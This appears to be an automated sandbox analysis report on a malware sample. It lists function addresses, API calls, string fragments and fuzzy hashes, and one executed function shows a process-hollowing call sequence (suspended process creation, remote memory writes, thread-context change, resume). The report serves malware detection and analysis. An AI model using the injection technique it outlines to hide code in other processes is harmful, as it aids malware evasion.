Snapshot File: hcaresult_7_2_400000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID:
API String ID: 2633735394-0
Opcode ID: f9d3b7a30e38f13d7fde29b061af4ea1347a5e88d77c866b69bca2c0e0536a04
Instruction ID: 265869700507a15a4e81e95e2d829c2481c7b218524b31d194bd6f00b1cd676d
Opcode Fuzzy Hash: f9d3b7a30e38f13d7fde29b061af4ea1347a5e88d77c866b69bca2c0e0536a04
Instruction Fuzzy Hash: B9012D32400109BBCF129F55CD01EDB3B76FF59754F05402AFA5871161C73AE861EBA8

Function 02251359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0225137D

Part of subcall function 02251A9D: __fltout2.LIBCMT ref: 02251AC6

__cftog_l.LIBCMT ref: 022513A3
__cftoe_l.LIBCMT ref: 022513D5

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 704adabef952dd1b09671032d883304a57e33983cfa6c46ac939016620490a52
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 6001363642025ABBCF125EC4DC11EEE3F62BF19358B488415FE5958828D376C5B2AB81

Function 022D7A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 022D7A4B

Part of subcall function 022D8140: ___BuildCatchObjectHelper.LIBCMT ref: 022D8172
Part of subcall function 022D8140: ___AdjustPointer.LIBCMT ref: 022D8189

_UnwindNestedFrames.LIBCMT ref: 022D7A62
___FrameUnwindToState.LIBCMT ref: 022D7A74
CallCatchBlock.LIBCMT ref: 022D7A98

Memory Dump Source

Source File: 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp, Offset: 02210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2210000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 80b361bd606cbc40719eb4f5f96ffbd74a5bc2c22cd7752448e9b903c02e273b
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 4401E932010209BBDF12AF95DD00EEA7BBAFF48754F158015FD1866124D77AE961DFA0

Function 00403D80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 004089F1
___raise_securityfailure.LIBCMT ref: 00408AD8

Strings

pkX, xrefs: 00408AB9

Memory Dump Source

Source File: 00000007.00000002.2310707332.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2310682718.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2310837369.0000000000412000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311018653.0000000000419000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311092801.000000000041A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004AC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004F2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311389200.00000000004F4000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: pkX
API String ID: 3761405300-1208605416
Opcode ID: 3bfa933cd9f80d2d980343ca243581c5a7bcc8ce31a4915db42b04b31cf8d940
Instruction ID: ce47133ac14827cdc7cd97d4094a7bdab6bdf8a17dabfcb0f1cc29d48106bbd0
Opcode Fuzzy Hash: 3bfa933cd9f80d2d980343ca243581c5a7bcc8ce31a4915db42b04b31cf8d940
Instruction Fuzzy Hash: 552103B59002059AEB08CF15F991A903FE4FB4E350F10847AE90A8BBA1E7B45881CF4E

Function 0040488F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,004048C6,00000000,00000000,00000000,00000000,00000000,0040885E,?,004071B4,00000003,00407D0C,00000000,00000000,00000000), ref: 00404898
__invoke_watson.LIBCMT ref: 004048B4

Strings

PNv, xrefs: 00404898

Memory Dump Source

Source File: 00000007.00000002.2310707332.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2310682718.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2310837369.0000000000412000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311018653.0000000000419000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311092801.000000000041A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004AC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004F2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311389200.00000000004F4000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Similarity

API ID: DecodePointer__invoke_watson
String ID: PNv
API String ID: 4034010525-4070351811
Opcode ID: 84d60ae60a04c498248f2f771724c9cfd818b9d55cd2f29cb77894693d8a0ab2
Instruction ID: fc2e5a9763a87430d8a6b07471e4a848680acba465897b27b0ab6fdbaa7b6f62
Opcode Fuzzy Hash: 84d60ae60a04c498248f2f771724c9cfd818b9d55cd2f29cb77894693d8a0ab2
Instruction Fuzzy Hash: 82E0ECB600014DBBDF053F61DC459AA3F69EF84250B448875FF1494071D73AC9B5EB98

Function 0040353B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00403540
__set_abort_behavior.LIBCMT ref: 00403550

Strings

PNv, xrefs: 00403540

Memory Dump Source

Source File: 00000007.00000002.2310707332.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2310682718.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2310837369.0000000000412000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311018653.0000000000419000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311092801.000000000041A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004AC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004F2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311389200.00000000004F4000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Similarity

API ID: DecodePointer__set_abort_behavior
String ID: PNv
API String ID: 4109001881-4070351811
Opcode ID: 407aa33e05d94ef8e4fa2136f5ead6115be6c8d9de25bbe90a38a7a619bee60a
Instruction ID: 10eb291b106b89a8df65d8df1196d5e8742d775e364ab248a4328fa9fcce4b76
Opcode Fuzzy Hash: 407aa33e05d94ef8e4fa2136f5ead6115be6c8d9de25bbe90a38a7a619bee60a
Instruction Fuzzy Hash: F3C04CB135920169E65827A11D4AB691A449B40B16F24503BE515E80D0EEE98644942E

Analysis Process: ogoGQsWFwF_EcodN5qF7hiVC.exePID: 3056, Parent PID: 4120COMMON

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	1441
Total number of Limit Nodes:	19

Executed Functions

Function 005C018D Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 005C02FC
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 005C030F
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 005C032D
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 005C0351
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 005C037C
TerminateProcess.KERNELBASE(?,00000000), ref: 005C039B
WriteProcessMemory.KERNELBASE(?,00000000,?,?,00000000,?), ref: 005C03D4
WriteProcessMemory.KERNELBASE(?,?,?,?,00000000,?,00000028), ref: 005C041F
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 005C045D
Wow64SetThreadContext.KERNEL32(?,?), ref: 005C0499
ResumeThread.KERNELBASE(?), ref: 005C04A8

Strings

Load, xrefs: 005C01CB
GetP, xrefs: 005C020F
aryA, xrefs: 005C01D3
ress, xrefs: 005C0217

Memory Dump Source

Source File: 00000009.00000002.2294061621.00000000005C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5c0000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: GetP$Load$aryA$ress
API String ID: 2440066154-977067982
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: c6511193033833b2758bfe1f146d1e29458629080701035a2653d53c4bcc40c6
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: B1B1E77664024AAFDB60CFA8CC80BDA77A5FF88714F158524EA0CAB341D774FA41CB94

Function 0046C217 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 81
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0045172B: __EH_prolog3_catch.LIBCMT ref: 00451732
Part of subcall function 0045172B: _strlen.LIBCMT ref: 0045174A

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 0046C234

Part of subcall function 004515B7: _strlen.LIBCMT ref: 004515CF

_strlen.LIBCMT ref: 0046C24F
_strlen.LIBCMT ref: 0046C265
GetProcAddress.KERNEL32(00000000,?), ref: 0046C282
VirtualAlloc.KERNELBASE(00000000,000004AC,00001000,00000040), ref: 0046C2A0

Part of subcall function 0046C000: _Deallocate.LIBCONCRT ref: 0046C097

Part of subcall function 0046C0A0: _Deallocate.LIBCONCRT ref: 0046C1CB

CreateThread.KERNELBASE(00000000,00000000,00000188,00477AC0,00000000,00000000), ref: 0046C2D1
WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000), ref: 0046C2DB

Part of subcall function 00451644: _Deallocate.LIBCONCRT ref: 00451653

Strings

ole, xrefs: 0046C25F, 0046C264, 0046C26C
kernel32.dll, xrefs: 0046C22F
Cons, xrefs: 0046C249, 0046C24E, 0046C256
Free, xrefs: 0046C23A

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: _strlen$Deallocate$AddressAllocCreateH_prolog3_catchHandleModuleObjectProcSingleThreadVirtualWait
String ID: Cons$Free$kernel32.dll$ole
API String ID: 2500176202-3464035140
Opcode ID: 6855e11d027cf0bba0e1bf26b19a21c09a644185c2d14fb6cf356a8834060d14
Instruction ID: 7122ba4ee418dfd4b7e37d639d2dbe8b76357c4fe12b65aa477eddb195cba1fe
Opcode Fuzzy Hash: 6855e11d027cf0bba0e1bf26b19a21c09a644185c2d14fb6cf356a8834060d14
Instruction Fuzzy Hash: 19218371E00208BED710ABB1DC86EBF777CEB4571DB20402EF815A6192EE7C9D05862D

Function 0045F058 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,0045F165,?,?,00000000,00000000,?,?,0045F38F,00000021,FlsSetValue,004702C0,004702C8,00000000), ref: 0045F119

Strings

ext-ms-, xrefs: 0045F0C3
api-ms-, xrefs: 0045F0AF

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: ea5162e4640b55f1ca6d438d1487774fe6f65b88c27429995a0458b822307b09
Instruction ID: ef2179fe8526bfc4882fb0e196c7cc8a659829a1a131601e14049adf9d2fb175
Opcode Fuzzy Hash: ea5162e4640b55f1ca6d438d1487774fe6f65b88c27429995a0458b822307b09
Instruction Fuzzy Hash: 7D210875E00510EBD7219B25DC40A5B3758AF01B65F280132ED06A73D3E778ED0DC6DA

Function 00462A91 Relevance: 7.7, APIs: 5, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__alloca_probe_16.LIBCMT ref: 00462B18
__alloca_probe_16.LIBCMT ref: 00462BD9
__freea.LIBCMT ref: 00462C40

Part of subcall function 00461E71: HeapAlloc.KERNEL32(00000000,00000000,?,?,00455315,?,?,?,?,?,004510FC,?,00000001), ref: 00461EA3

__freea.LIBCMT ref: 00462C55
__freea.LIBCMT ref: 00462C65

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 114d685e79689276a0757d17a1a342e534d0dd39d43611e1cf1f63e0a731b1bd
Instruction ID: 6a01f291c2a04a43a1f280d467372104f5a167fb2572d2d1795f7c305e0d0e15
Opcode Fuzzy Hash: 114d685e79689276a0757d17a1a342e534d0dd39d43611e1cf1f63e0a731b1bd
Instruction Fuzzy Hash: 1D51D372600606BBEB249F658D81EBF37A9EF44714B14012AFD08E6211F6B8DD54C76A

Function 0045F4F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,00462B7F,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 0045F526
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00462B7F,?,?,00000000,?,00000000), ref: 0045F544

Strings

|,E, xrefs: 0045F520

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: String
String ID: |,E
API String ID: 2568140703-2637010583
Opcode ID: 37a5f502551e90a9180730c015ae2419abab4551d247ab847bdec6605ca84fe9
Instruction ID: 503b30b60f521d7d7babb61f469797ae18918887f3abfe79a8d230603ff30460
Opcode Fuzzy Hash: 37a5f502551e90a9180730c015ae2419abab4551d247ab847bdec6605ca84fe9
Instruction Fuzzy Hash: 06F0B83240011ABBCF125F91DC049DE3F66FB48761F048021FE1826022D636C936AB9A

Function 0045C159 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,0045C153,00000016,00458E0A,?,?,FC3EAC19,00458E0A,?), ref: 0045C16A
TerminateProcess.KERNEL32(00000000,?,0045C153,00000016,00458E0A,?,?,FC3EAC19,00458E0A,?), ref: 0045C171
ExitProcess.KERNEL32 ref: 0045C183

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: cecf275b72850c49d3e140ac768fce790f21e9652a47ded847fd5488ea7220ea
Instruction ID: b0f9bd52925c7d001ab30f3aaeb09df794c8a3b34e0d9e0e35d801db6756b4f1
Opcode Fuzzy Hash: cecf275b72850c49d3e140ac768fce790f21e9652a47ded847fd5488ea7220ea
Instruction Fuzzy Hash: 10D06731904644AFCF012F62DC499593F26AE4138AF444025FD099A133DB7A99569A99

Function 00464DAF Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004648DF: GetOEMCP.KERNEL32(00000000,?,?,00000000,?), ref: 0046490A

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,00464BF6,?,00000000,?,00000000,?), ref: 00464E10
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,00464BF6,?,00000000,?,00000000,?), ref: 00464E52

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 6b023124c19f3746ac2f3623ce50f5df1cca3d0007a69ce93fee4c240893be81
Instruction ID: 54394c131aecea807d88033306801a901456fd512818dc6516776a8eb00ad076
Opcode Fuzzy Hash: 6b023124c19f3746ac2f3623ce50f5df1cca3d0007a69ce93fee4c240893be81
Instruction Fuzzy Hash: 6D5101B1A002459EDF24DF75C8406ABBBE5FFC1304F14406FD1868B252F7799946CB9A

Function 004649B3 Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,00464C02,00464BF6,00000000), ref: 004649E5

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 0eeb079d1dc1ffaab4d5d325efcc6fcd0f338d6c411ae19d3cb3a659aba79f31
Instruction ID: c3fac6f88253d922bcd747bb99d8ad34ace7fe97ae1e9a550fc61f448ea75f4d
Opcode Fuzzy Hash: 0eeb079d1dc1ffaab4d5d325efcc6fcd0f338d6c411ae19d3cb3a659aba79f31
Instruction Fuzzy Hash: 65518E71504158AFCF218E68CD80BE77BB8EB96304F2401EED499C7142E338AD46CF2A

Function 0045F123 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e599b35b0943ce1a7013574b399f53967c48c1d1569ba140dc6c9fd60d523936
Instruction ID: 3673bc4377492dffc6c22e0da0e0fafa25252d2defec10f8ff60690f7427fca8
Opcode Fuzzy Hash: e599b35b0943ce1a7013574b399f53967c48c1d1569ba140dc6c9fd60d523936
Instruction Fuzzy Hash: 6A014933740510DF9B118E6AEC4095B3397BBC53217544132FD04DB286DA38DC4D878A

Non-executed Functions

Function 00467646 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,dyF,00000002,00000000,?,?,?,00467964,?,00000000), ref: 004676DF
GetLocaleInfoW.KERNEL32(?,20001004,dyF,00000002,00000000,?,?,?,00467964,?,00000000), ref: 00467708
GetACP.KERNEL32(?,?,00467964,?,00000000), ref: 0046771D

Strings

ACP, xrefs: 00467664
OCP, xrefs: 0046769A
dyF, xrefs: 004676F9, 00467716, 004676D0, 004676E9, 004676D3, 004676FC

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP$dyF
API String ID: 2299586839-82979244
Opcode ID: d5a1faba9b7b575dd2ad4ffeb9c62e5c26cc44b8d2753a6fb233a96fc30f08b5
Instruction ID: 0834595388477efd4144f7ed098e3599e3533c0a6d7452780bc6ed7311b4c273
Opcode Fuzzy Hash: d5a1faba9b7b575dd2ad4ffeb9c62e5c26cc44b8d2753a6fb233a96fc30f08b5
Instruction Fuzzy Hash: A321D322B08501A6DB348F6CC900A9773A7EF54B7CB668426E90AD7311F73ADE41C35A

Function 0046781B Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0045EB00: GetLastError.KERNEL32(?,00000008,00463006), ref: 0045EB04
Part of subcall function 0045EB00: SetLastError.KERNEL32(00000000,00000000,00000002,000000FF), ref: 0045EBA6

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00467927
IsValidCodePage.KERNEL32(00000000), ref: 00467970
IsValidLocale.KERNEL32(?,00000001), ref: 0046797F
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 004679C7
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 004679E6

Memory Dump Source

Source File: 00000009.00000002.2293409621.0000000000451000.00000020.00000001.01000000.00000009.sdmp, Offset: 00450000, based on PE: true

Associated: 00000009.00000002.2293385143.0000000000450000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293434354.000000000046D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293452659.00000000004A9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2293613495.00000000004AC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_450000_ogoGQsWFwF_EcodN5qF7hiVC.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: ba3a75ad30a7687fa48841fa36b81094aa4dadc8d147eacc5edf6f7a873f875c
Instruction ID: 681bccfff49aef6119f12b13a3a1defe21d17895bd22319df67769cf6f999274
Opcode Fuzzy Hash: ba3a75ad30a7687fa48841fa36b81094aa4dadc8d147eacc5edf6f7a873f875c
Instruction Fuzzy Hash: 8A5182B1A04205AFEB10EFA6CC45ABF73B8BF04708F14446BE905E7251F7789945CB6A

Function 00466EB7 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0045EB00: GetLastError.KERNEL32(?,00000008,00463006), ref: 0045EB04
Part of subcall function 0045EB00: SetLastError.KERNEL32(00000000,00000000,00000002,000000FF), ref: 0045EBA6

